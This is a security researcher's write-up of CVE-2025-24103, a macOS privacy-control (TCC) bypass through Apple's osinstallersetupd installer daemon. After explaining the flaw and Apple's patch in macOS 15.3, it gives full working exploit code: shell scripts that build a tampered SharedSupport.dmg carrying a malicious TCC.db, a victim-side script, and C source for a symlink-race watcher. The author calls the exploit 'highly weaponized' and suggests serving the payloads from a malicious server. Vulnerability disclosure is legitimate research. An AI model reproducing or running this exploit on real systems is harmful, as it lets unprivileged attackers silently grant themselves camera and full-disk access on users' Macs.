0. CVE-2025-24103 : GuluBadInstallAssistant

https://support.apple.com/en-us/122068

Tested on :

% sw_vers;csrutil status
ProductName:		macOS
ProductVersion:		15.0
BuildVersion:		24A335

System Integrity Protection status: enabled.

1. Detail

Based on macOS 15.0 InstallAssistant.pkg : https://swcdn.apple.com/content/downloads/11/43/062-78429-A_DAI7Y9IP98/qxbabjzemiel7guag7q09xxe0631iie45p/InstallAssistant.pkg

1.If we install the pkg, it will release the /Applications/Install macOS Sequoia.app.

It contains a big file : /Applications/Install\ macOS\ Sequoia.app/Contents/SharedSupport/SharedSupport.dmg

And osinstallersetupd owns FDA:

"/Applications/Install macOS Sequoia.app/Contents/Frameworks/OSInstallerSetup.framework/Versions/A/Resources/osinstallersetupd": {
....
        "com.apple.private.tcc.allow": [
            "kTCCServiceSystemPolicyNetworkVolumes",
            "kTCCServiceSystemPolicyRemovableVolumes",
            "kTCCServiceSystemPolicyAllFiles"
        ],
...
    }

If we execute "/Applications/Install macOS Sequoia.app/Contents/Frameworks/OSInstallerSetup.framework/Versions/A/Resources/osinstallersetupd", the command will try to mount SharedSupport.dmg at /Volume/Shared Support, but at this moment, the released /Applications/Install\ macOS\ Sequoia.app/Contents/SharedSupport/SharedSupport.dmg is owned by root while other files is owned by normal user, the mount operation will be failed because we don’t have the permission:

/tmp % ls -l /Applications/Install\ macOS\ Sequoia.app/Contents/SharedSupport/SharedSupport.dmg 
-rwx------  1 root  wheel  14477883930 Sep 29 16:41 /Applications/Install macOS Sequoia.app/Contents/SharedSupport/SharedSupport.dmg

2.And currently the InstallAssistant app is protected by trustcache, for example, If you execute the /Applications/Install macOS Sequoia.app/Contents/Frameworks/OSInstallerSetup.framework/Versions/A/Resources/osinstallersetupd on macOS15.0, you need to use the specific InstallAssistant.pkg version 15.0 . If not, when you execute osinstallersetupd, AMFI will block its launch becuase it’s not in the trustcache.

These seems like a security protection. As I know, there are too many N-Day vulnerabilities on InstallAssistant.

1.1 What if we could execute the osinstallersetupd command successfully?

How about the SharedSupport.dmg is ownd by the normal user rather than the root user?

If we could do that, osinstallersetupd will mount the SharedSupport.dmg at /Volume/Shared Supportand do some initialzation.

/Volume/Shared Support contains two folders:

  • com_apple_MobileAsset_MacSoftwareUpdate
  • com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain

com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain folder:

Based on macOS 15.0 InstallAssistant.pkg

  • 45a6023255867c23693640cb27c53c3a39b6764d.zip
  • a8fec938ff025a10955303bde48c8787a3d1a243.json
  • com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain.xml

osinstallersetupd will extract the content of 45a6023255867c23693640cb27c53c3a39b6764d.zip to /tmp/UpdateBrain-*, like /tmp/UpdateBrain-Xopkwyp5.

% ls /tmp/UpdateBrain-Xopkwyp5 
AssetData	Info.plist	META-INF	_CodeSignature	version.plist

com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain.xml and a8fec938ff025a10955303bde48c8787a3d1a243.json contains some information about how to verify 45a6023255867c23693640cb27c53c3a39b6764d.zip :

The vulnerability:

  1. The released folder /tmp/UpdateBrain-* is not protected by TCC or SIP
    • Replace it with a symbolic link, so when osinstallersetupd unzips 45a6023255867c23693640cb27c53c3a39b6764d.zip, its content will be released to a specific folder.

    • osinstallersetupd has FDA so the destination could be ~/Library/Application Support/com.apple.TCC/

  2. We could bypass the integrity verification of 45a6023255867c23693640cb27c53c3a39b6764d.zip

    • This allows us to control the content that will be released.

    • E.G: We could add a malicious TCC.db to this zip file.

Now we can controlled the src and dst parameters, so we could gain arbitrary write access in the FDA context.

1.2 src

Just monitor the folder creation.

1.3 dst

  • unzip the 45a6023255867c23693640cb27c53c3a39b6764d.zip, add a malicious TCC.db there. Then compress it and rename it to 45a6023255867c23693640cb27c53c3a39b6764d.zip.
  • Create a malicious SharedSupport.dmg and place it under Contents/SharedSupport/SharedSupport.dmg.
  • There does exist integrity verification strategy when osinstallersetupd is handling SharedSupport.dmg but it works in a very strange way.
  • After the SharedSupport.dmg created, if we execute osinstallersetupd, you will find it does mount the dmg at /Volume/Shared Support, but it will not create /tmp/UpdateBrain-*, looks like the integrity verification failed.

Actually I spent some time on reverse engineering to figure out how Apple implemented the integrity verification.

But I accidentally found we only need to execute osinstallersetupd twice, you will find the /tmp/UpdateBrain- created ! The verification is bypassed.

2. Exploit

Step 1: Prepare the malicious file on your own macOS

You could do anything because this is your macOS, so you could gain root access or disable SIP as you want.

  • If the victim macOS is 15.0, download the 15.0 InstallAssistant.pkg
  • If the victim macOS is 14.5, download the 14.5 InstallAssistant.pkg
  • …etc

Install it, you will see /Applications/Install macOS Sequoia.app, then execute the PoC sudo ./generate-your-malicious-app/exp.sh with root access. You will get a modified SharedSupport.dmg and malicious-osinstallersetupd.zip.

generate-your-malicious-app:
- exp.sh
- generateTCCdb.sh

./generate-your-malicious-app/exp.sh:

#!/bin/sh

# Check if the script is run as root
if [ "$EUID" -ne 0 ]; then
  echo "Please run as root: cd ./generate-your-malicious-app; sudo ./exp.sh"
  exit 1
fi

echo "Running as root."
echo "Make sure you have installed the specific InstallAssistant.pkg. macOS15.0 -> InstallAssistant_15.0.pkg"
echo "Demo, download here: https://swcdn.apple.com/content/downloads/11/43/062-78429-A_DAI7Y9IP98/qxbabjzemiel7guag7q09xxe0631iie45p/InstallAssistant.pkg"
echo "========================================================================"
echo "Place your malicious TCC.db in this folder, I will use it to replace the original TCC.db"
echo "========================================================================"
echo "Are you ready? Sleep 5 seconds."
sleep 5


echo "Go"
workpath=$(pwd)

echo "Clean"
rm -rf target
rm -rf /Applications/testfolder
rm -rf malicious-osinstallersetupd.zip

mkdir -p /Applications/testfolder/target
cp -R /Applications/Install\ macOS\ Sequoia.app/Contents/Frameworks /Applications/testfolder/target/
cp -R /Applications/Install\ macOS\ Sequoia.app/Contents/PlugIns /Applications/testfolder/target/

mkdir /Applications/testfolder/mountme

mkdir /Applications/testfolder/target/SharedSupport
hdiutil attach -nobrowse -mountpoint /Applications/testfolder/mountme /Applications/Install\ macOS\ Sequoia.app/Contents/SharedSupport/SharedSupport.dmg
mkdir /Applications/testfolder/allfiles
cd /Applications/testfolder/mountme/
find . -type f ! -name '7d763b0793c8e214f2d9bb078a0cba7b470e57e2.zip' -print0 | cpio -pdmv0 /Applications/testfolder/allfiles/  >/dev/null 2>&1
cd /


hdiutil detach /Applications/testfolder/mountme
rm -rf /Applications/testfolder/mountme

mkdir /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip
unzip /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/45a6023255867c23693640cb27c53c3a39b6764d.zip -d /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip >/dev/null 2>&1

cd $workpath

echo "Add malicious content to the zip."
cp TCC.db /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip/TCC.db

cd /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip
zip -r /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip.zip ./* >/dev/null 2>&1

rm -rf /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip
rm -rf /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/45a6023255867c23693640cb27c53c3a39b6764d.zip
cd /
mv /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/tmpZip.zip /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/45a6023255867c23693640cb27c53c3a39b6764d.zip


cp /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/45a6023255867c23693640cb27c53c3a39b6764d.zip /Applications/testfolder/allfiles/com_apple_MobileAsset_MacSoftwareUpdate/7d763b0793c8e214f2d9bb078a0cba7b470e57e2.zip

hdiutil create -volname "Shared Support" -srcfolder "/Applications/testfolder/allfiles" -ov -format UDZO "/Applications/testfolder/target/SharedSupport/SharedSupport.dmg"

echo "Done. Malicious SharedSupport.dmg created."
echo "Now, Compress the target folder and name it as malicious-osinstallersetupd.zip"

cd /Applications/testfolder/
zip -ry "$workpath/malicious-osinstallersetupd.zip" ./target >/dev/null 2>&1

rm -rf /Applications/testfolder
echo "========================================================================"
echo "Init done. You have created your own malicious app with your own payload!"
echo "========================================================================"
echo "Place it under pre-compiled-malicious-app and execute pre-compiled-malicious-app/exp.sh in non-root context to gain general TCC bypass."
echo "========================================================================"
echo "NOTICE: The exploit doesn't need the root access. This vulnerability can help normal user achieve general TCC on macOS. I think it has been existed for years."

Step 2: Download the malicious file malicious-osinstallersetupd.zip to the victim macOS

Move the compressed malicious-osinstallersetupd.zip to the pre-compiled-malicious-app folder, then execute pre-compiled-malicious-app/exp.sh in normal user access, you will find the TCC.db has been modified.

pre-compiled-malicious-app:
- do-not-run-me.sh
- exp.sh
- malicious-osinstallersetupd.zip
- watch
- watch.c

pre-compiled-malicious-app/do-not-run-me.sh:

#!/bin/sh
/Applications/testfolder/target/Frameworks/OSInstallerSetup.framework/Versions/A/Resources/osinstallersetupd

pre-compiled-malicious-app/exp.sh:

#!/bin/sh

# clang -arch arm64 -arch x86_64 -o watch watch.c 
echo "This exp is based on macOS15.0.pkg"

rm -rf /Applications/testfolder ./__MACOSX
mkdir /Applications/testfolder
rm -rf ./target


unzip -d . malicious-osinstallersetupd.zip > /dev/null 2>&1
rm -rf ./__MACOSX

mv target /Applications/testfolder/target


echo "LPE"
rm -rf /tmp/do-not-run-me.sh /tmp/watch

cp ./do-not-run-me.sh /tmp/
cp ./watch /tmp/
nohup /tmp/do-not-run-me.sh &

sleep 5

killall osinstallersetupd

nohup /tmp/watch &

sleep 2
nohup /tmp/do-not-run-me.sh &

sleep 10
killall osinstallersetupd 
echo "Terminal has Camera and AppleEvent TCC now."

pre-compiled-malicious-app/watch.c:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>

int main() {
    printf("==1");
    system("rm -rf /tmp/UpdateBrain*; rm -rf /tmp/diu;");

    const char *directory = "/tmp"; 
    const char *prefix = "UpdateBrain"; 
    const char *newFileName = "/tmp/diu"; 

    char symlinkTarget[1024]; 

    const char *homeDir = getenv("HOME");

    if (homeDir != NULL) {
        snprintf(symlinkTarget, sizeof(symlinkTarget), "%s/Library/Application Support/com.apple.TCC", homeDir); 
    } else {
        printf("Error. No HOME");
        return 0;
    }

    while(1){
        DIR *dir;
        
        if ((dir = opendir(directory)) == NULL) {
            perror("opendir() error");
            return 1;
        }

        char oldFilePath[1024];
        
        struct dirent *entry;
        while ((entry = readdir(dir)) != NULL) {
            if (strncmp(entry->d_name, prefix, strlen(prefix)) == 0) {
                snprintf(oldFilePath, sizeof(oldFilePath), "%s/%s", directory, entry->d_name);
                printf("%s", oldFilePath);
                if (rename(oldFilePath, newFileName) == 0) {
                    if (symlink(symlinkTarget, oldFilePath) == 0) {
                        printf("Symlink created successfully: %s -> %s\n", oldFilePath, symlinkTarget);
                    } else {
                        perror("symlink() error");
                    }
                    return 0;
                } else {
                    perror("rename() error");
                }
            }
        }

        closedir(dir);
    }


    return 0;
}

The final exploit doesn’t need any permisisons, normal user -> general TCC bypass. Don’t need the root access.

Till now, the exploit is almost complete, but we have to do more if we wanna make this exploit more valuable.

Currently, the original app exceeds 14GB in size. If we are required to download the entire package each time we attempt to exploit it, the overall practicality of the exploit would be significantly reduced. This issue needs to be addressed.

3. 14 G ? No, it’s 24M or less

We don’t need to create a fake Install macOS Sequoia.app because the vulnerability component is not InstallAssistant, it is osinstallersetupd.

So we only need to copy the necessary folders:

  • Frameworks

  • PlugIns

And the biggest item in SharedSupport.dmg is 7d763b0793c8e214f2d9bb078a0cba7b470e57e2.zip , more than 14G, we just need to use a malicious zip file to replace it:

mkdir /Applications/testfolder/target/SharedSupport

hdiutil attach -nobrowse -mountpoint /Applications/testfolder/mountme /Applications/Install\ macOS\ Sequoia.app/Contents/SharedSupport/SharedSupport.dmg

mkdir /Applications/testfolder/allfiles

cd /Applications/testfolder/mountme/

find . -type f ! -name '7d763b0793c8e214f2d9bb078a0cba7b470e57e2.zip' -print0 | cpio -pdmv0 /Applications/testfolder/allfiles/  >/dev/null 2>&1

cd /

cp /Applications/testfolder/allfiles/com_apple_MobileAsset_MobileSoftwareUpdate_MacUpdateBrain/45a6023255867c23693640cb27c53c3a39b6764d.zip /Applications/testfolder/allfiles/com_apple_MobileAsset_MacSoftwareUpdate/7d763b0793c8e214f2d9bb078a0cba7b470e57e2.zip

As you can see, the pre-compiled malicious app only 24M.

Highly weaponized.

This pre-compile operation only need to be done once, you could generate the malicious app one by one and save them to your malicious server. If you want to achieve general TCC bypass on the victim macOS, just download the specific malicious app.

4. Demo

5. Patch : macOS 15.3

FDA TCC of osinstallersetupd has been removed.

And osinstallersetupd will parse the symbolic link.

"/Applications/Install macOS Sequoia.app/Contents/Frameworks/OSInstallerSetup.framework/Versions/A/Resources/osinstallersetupd": {
        "allow-softwareupdated": true,
        "com.apple.InstallerDiagnostics.PermittedClient": true,
        "com.apple.apfs.wvek": true,
        "com.apple.keystore.filevault": true,
        "com.apple.private.AuthorizationServices": [
            "system.install.apple-software",
            "system.install.apple-software.standard-user",
            "system.install.software.mdm-provided"
        ],
        "com.apple.private.IASInstallerAuthAgent": true,
        "com.apple.private.LocalAuthentication.ExtractCredential": true,
        "com.apple.private.accounts.allaccounts": true,
        "com.apple.private.allow-bless": true,
        "com.apple.private.allow-sumaccontroller": true,
        "com.apple.private.applecredentialmanager.allow": true,
        "com.apple.private.configurationprofiles.bootstraptoken.readwrite": true,
        "com.apple.private.diskmanagement.preboot-access": true,
        "com.apple.private.gpuwrangler": true,
        "com.apple.private.installer.setupinstaller": true,
        "com.apple.private.logout.forcecontinue": true,
        "com.apple.private.opendirectoryd.ownership.grant": true,
        "com.apple.private.opendirectoryd.ownership.read": true,
        "com.apple.private.security.bootpolicy": true,
        "com.apple.private.softwareupdated.OSUpdate": true,
        "com.apple.private.tcc.allow": [
            "kTCCServiceSystemPolicyNetworkVolumes",
            "kTCCServiceSystemPolicyRemovableVolumes"
        ],
        "com.apple.private.xpc.launchd.per-user-lookup": true,
        "com.apple.rootless.storage.osinstallersetup": true,
        "com.apple.rootless.volume.Update": true
    }

6. One more thing

How do you think about the patch?

I hide something about the patch in this blog, it could cause a potential 0day exploit.

Good Luck.